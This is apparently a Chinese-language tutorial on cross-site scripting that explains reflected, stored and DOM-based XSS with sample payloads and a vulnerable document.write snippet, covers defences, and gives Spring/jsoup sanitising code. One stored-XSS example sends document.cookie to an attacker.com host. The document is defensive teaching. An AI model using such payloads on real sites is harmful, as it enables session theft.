XSS脚本攻击概述
XSS(Cross-Site Scripting)是一种常见的网络安全漏洞,攻击者通过注入恶意脚本到受害者的浏览器中执行,从而窃取数据、劫持会话或破坏页面内容。XSS通常分为三种类型:反射型、存储型和DOM型。
反射型XSS
反射型XSS又称非持久型XSS,恶意脚本作为请求的一部分发送到服务器,服务器未过滤直接返回给用户浏览器执行。常见于URL参数、搜索框等场景。
攻击者构造一个包含恶意脚本的链接,诱骗用户点击:
html
https://example.com/search?query=<script>alert('XSS')</script>
存储型XSS
存储型XSS又称持久型XSS,恶意脚本被保存到服务器数据库(如评论、留言板),当其他用户访问时触发。危害更大,影响范围更广。
例如,攻击者在论坛提交包含恶意脚本的评论:
html
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
DOM型XSS
DOM型XSS不依赖服务器响应,而是通过客户端JavaScript动态修改DOM结构触发。攻击载荷通常隐藏在URL片段(#后)或本地存储中。
示例代码漏洞:
javascript
document.write('<div>' + location.hash.substring(1) + '</div>');
攻击者构造URL:
html
https://example.com/page#<img src=x onerror=alert('XSS')>
防御措施
输入过滤与转义
对用户输入进行严格验证,转义特殊字符(如<转为<)。
内容安全策略(CSP)
通过HTTP头Content-Security-Policy限制脚本来源:
http
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
HttpOnly Cookie
设置Cookie的HttpOnly属性,防止JavaScript访问:
http
Set-Cookie: sessionid=123; HttpOnly; Secure
框架安全特性
现代前端框架(如React、Vue)默认转义动态内容,避免直接操作DOM。
实际影响
XSS可导致会话劫持、钓鱼攻击、恶意软件分发等后果。定期安全测试和代码审计是必要的防护手段。
pox.xml添加 jsoup
bash
<dependency>
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
<version>1.21.2</version>
</dependency>
创建XssCleanUtils工具类
bash
package org.example.common.utils;
import org.jsoup.Jsoup;
import org.jsoup.safety.Safelist;
import org.springframework.stereotype.Component;
@Component
public class XssCleanUtils {
/**
* 清理富文本内容,保留常用HTML标签
*
* @param content 待清理的富文本内容
* @return 清理后的安全内容
*/
public String cleanRichText(String content) {
if (content == null || content.isEmpty()) {
return content;
}
// 使用宽松白名单,保留常见富文本标签
Safelist safelist = Safelist.relaxed()
.addTags("hr", "ins", "del", "mark", "small", "sub", "sup")
.addAttributes(":all", "class", "id", "style")
.addAttributes("a", "target")
.addAttributes("img", "src", "alt", "title", "width", "height")
.addProtocols("img", "src", "http", "https", "data")
.addProtocols("a", "href", "http", "https", "mailto");
return Jsoup.clean(content, safelist);
}
/**
* 清理简单文本内容(严格模式)
*
* @param content 待清理的内容
* @return 清理后的安全内容
*/
public String cleanSimpleText(String content) {
if (content == null || content.isEmpty()) {
return content;
}
// 只保留基本文本格式标签
Safelist safelist = new Safelist()
.addTags("b", "strong", "i", "em", "u", "strike", "del", "ins")
.addTags("p", "br", "span")
.addAttributes("span", "class", "style");
return Jsoup.clean(content, safelist);
}
}
过滤文本
bash
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import io.swagger.v3.oas.annotations.Operation;
import io.swagger.v3.oas.annotations.tags.Tag;
import lombok.RequiredArgsConstructor;
import org.example.baens.Dynamic;
import org.example.baens.User;
import org.example.common.config.MinioConfiguration;
import org.example.common.utils.ApiResult;
import org.example.common.utils.UuidUtils;
import org.example.common.utils.XssCleanUtils;
import org.example.repository.DynamicRepository;
import org.example.service.DynamicService;
import org.example.service.UserService;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;
import java.util.Date;
@RestController
@Tag(name = "动态资讯接口")
@RequestMapping("/api")
@RequiredArgsConstructor
public class DynamicController {
private final DynamicService dynamicService;
private final RedisTemplate<String, Object> customRedisTemplate;
private final MinioConfiguration minioConfiguration;
private DynamicRepository dynamicRepository;
private final XssCleanUtils xssCleanUtils;
@PostMapping("/save/dynamic")
public ApiResult<Dynamic> saveDynamic(@RequestParam String name,
@RequestParam String content,
@RequestParam(value = "imgUrl") MultipartFile imgUrl,
@RequestParam String author
) {
String cleanedContent = xssCleanUtils.cleanRichText(content);
minioConfiguration.validateFile(imgUrl, "image/jpeg", "image/png", "image/webp");
String minio_url = minioConfiguration.uploadToMinio(imgUrl, "dynamic");
Dynamic dynamic = new Dynamic();
dynamic.setId(UuidUtils.generate());
dynamic.setName(name);
dynamic.setContent(cleanedContent);
dynamic.setImgUrl(minio_url);
dynamic.setAuthor(author);
dynamic.setStatus(1);
dynamic.setCreateTime(new Date());
dynamic.setUpdateTime(new Date());
dynamicRepository.save(dynamic);
dynamicService.save(dynamic);
return new ApiResult<>(200, "添加成功", null);
}
@PostMapping("/save/image")
@Operation(summary = "上传图片")
public ApiResult<String> uploadImage(@RequestParam(required = false,value = "imgUrl") MultipartFile imgUrl) {
minioConfiguration.validateFile(imgUrl, "image/jpeg", "image/png", "image/webp");
String minio_url = minioConfiguration.uploadToMinio(imgUrl, "dynamic");
return new ApiResult<>(200, "上传成功", minio_url);
}
@PostMapping("/save/video")
@Operation(summary = "上传视频")
public ApiResult<String> uploadVideo(@RequestParam(required = false, value = "videoUrl") MultipartFile videoUrl) {
minioConfiguration.validateFile(videoUrl, "video/mp4", "video/avi", "video/mov");
String minio_url = minioConfiguration.uploadToMinio(videoUrl, "dynamic");
return new ApiResult<>(200, "上传成功", minio_url);
}
}